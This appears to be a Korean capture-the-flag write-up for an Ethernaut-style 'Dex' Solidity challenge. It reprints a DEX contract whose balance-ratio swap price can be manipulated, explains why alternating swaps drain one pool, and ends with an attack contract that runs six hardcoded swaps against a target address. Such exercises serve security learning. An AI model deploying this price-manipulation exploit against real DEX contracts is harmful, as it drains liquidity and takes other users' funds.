// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';
contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
이 문제는 ERC20 API와 Dex가 무엇인지에 대해 이해를 할 수 있는 문제이다. 이 문제에서 보여주고자 하는 것은 정상적인 Dex에서 일반적인 경우에 한 쪽 풀이 0이될 경우 문제가 있다는 것을 알려주고자 한다.
IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
이 식을 보면 두 토큰을 계속 번갈아가며 swap을 할 경우 한 쪽 pool이 0이될 수 밖에 없고, 그로 인하여 다른 사람이 피해를 볼 수 있다는 것을 알 수 있다. Dex에서 심각한 공격으로 취급되고 이는 해당 pair를 사용할 수 없게 되기 때문이다.
ERC20과 Dex에서 이게 왜 중요한지를 깨달았으면 한 쪽 풀이 0이 되도록 계산하여 페이로드를 작성하여 문제를 해결하도록 하자.
contract attack {
Dex public target = Dex(0x842F98D3c9C6225266286F16EA5fe6825755E662);
address public token1 = target.token1();
address public token2 = target.token2();
function atk() public
{
target.approve(address(target), 1000);
target.swap(token1, token2, 10);
target.swap(token2, token1, 20);
target.swap(token1, token2, 24);
target.swap(token2, token1, 30);
target.swap(token1, token2, 41);
target.swap(token2, token1, 45);
}
}